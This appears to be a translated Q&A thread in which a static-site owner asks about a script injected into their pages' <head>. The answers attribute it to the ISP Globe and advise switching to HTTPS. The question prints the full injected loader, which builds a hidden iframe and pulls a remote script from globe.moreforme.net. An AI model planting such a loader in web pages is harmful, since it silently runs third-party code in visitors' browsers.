我有一个静态网站。我在电脑本地更新网页,然后使用 FileZilla 上传。然而,上传后,我查看任何页面的源代码,发现其中注入了一个脚本<head>
。该脚本不会更改页面的布局或可见内容,所以我不知道它到底做了什么:
<script>
if (top == window) {
var engageNameSpace = "engagens";
"undefined" == typeof window[engageNameSpace] && (window[engageNameSpace] = {}), window[engageNameSpace].engageLoader = function() {
function e(e) {
return "undefined" != typeof e && null !== e
}
function t() {
var t = document.createElement("script");
t.setAttribute("src", s), t.setAttribute("id", "fn_engage_script"), t.setAttribute("async", ""), (null == document.head || e(document.head)) && (document.head = document.getElementsByTagName("head")[0]), document.head.appendChild(t)
}
function n() {
var t = r();
if (e(t)) {
var n = t;
i() && (n = d(t));
var o;
try {
o = document.documentElement, o.appendChild(n)
} catch (c) {
o = document.body, o.appendChild(n)
}
a()
}
}
function a() {
function e(e) {
var n = e.data;
"l8IframeIsReady" === n.message && t()
}
window.addEventListener ? window.addEventListener("message", e, !1) : window.attachEvent("onmessage", e)
}
function r() {
var t = document.createElement("iframe");
if (e(t)) {
t.setAttribute("id", "fn_engage"), t.setAttribute("src", u), t.setAttribute("target", "_blank"), t.setAttribute("frameborder", "0");
var n = /firefox/i.exec(navigator.userAgent);
e(n) && n.length > 0 ? (t.style.height = 0, t.style.width = 0) : t.style.display = "none", t.frameBorder = "no"
}
return t
}
function i() {
var t = !1,
n = /android (\d+)/i.exec(navigator.userAgent);
return e(n) && n.length > 0 && (t = parseInt(n[1]) >= 4), t
}
function d(e) {
var t = document.createElement("div");
return t.setAttribute("id", "fn_wrapper_div"), t.style.position = "fixed", t.style.display = "none", t.ontouchstart = function() {
return !0
}, t.appendChild(e), t
}
function o() {
var t = void 0,
a = this,
r = function() {
e(t) && (window.clearTimeout(t), t = void 0, n.call(a))
};
t = window.setTimeout(r, 1e4), "function" == typeof window.addEventListener ? window.addEventListener("load", r, !1) : window.attachEvent("onload", r)
}
var c = "http://globe.moreforme.net",
u = c + "/l8/EngageService?v=1",
s = c + "/scripts/Engage.js";
o()
};
var engageLoader = new window[engageNameSpace].engageLoader
}
</script>
检查脚本中的 URL 后http://globe.moreforme.net
,我意识到该脚本很可能来自我们的 ISP(Globe)。由于我是互联网安全方面的新手,我不知道脚本是如何到达那里的。我的网站是静态 HTML。如何防止页面上传后该脚本出现在源代码中?
编辑:
找到了这个关联这似乎是制作脚本的模板代码。有人知道这个脚本是干什么的吗?
答案1
首先,这只有效,因为你使用的是 HTTP 而不是 HTTPS
您的 ISP 正在注入该脚本,然后使用它来动态加载另一个脚本(在 iframe 中?)。
无论出于什么原因,我无法导航到托管脚本的 globe.moreforme.net ...它将我重定向到 globe.moreforme.ph,因此 globe.moreforme.net 很可能仅对使用 ISP 的用户可用。
现在,如果我不得不大胆猜测一下……我会说 ISP 正在使用这种动态加载的脚本来劫持您所访问的页面上的广告,以便为自己索取收益。
您可以通过只使用 HTTPS 网站或使用安全的 SOCKS5 代理(在 VPS 上设置非常简单,而且非常便宜)来防止这种情况,方法是查看Dynamic Port Forwarding
SSH。或者,如果您所在的国家/地区有全国防火墙(中国),您可以查看 ShadowSocks。
答案2
这是 Globe Telecom 与邪恶的 Flash Networks 合作的结果,通过添加他们的广告并可能入侵其他人的广告来修改其客户正在加载的页面。
此事的合法性值得怀疑——他们至少应该违反版权法。但考虑到菲律宾的司法管辖权,我认为你无法合法地做任何事情。
这也是为什么所有网站都应该使用 HTTPS 并禁用 HTTP(除了重定向到 HTTPS)的原因。如今,有多种方法可以免费为您的 DNS 名称获取 SSL 证书,并且它还可以提高您的 Google 分数。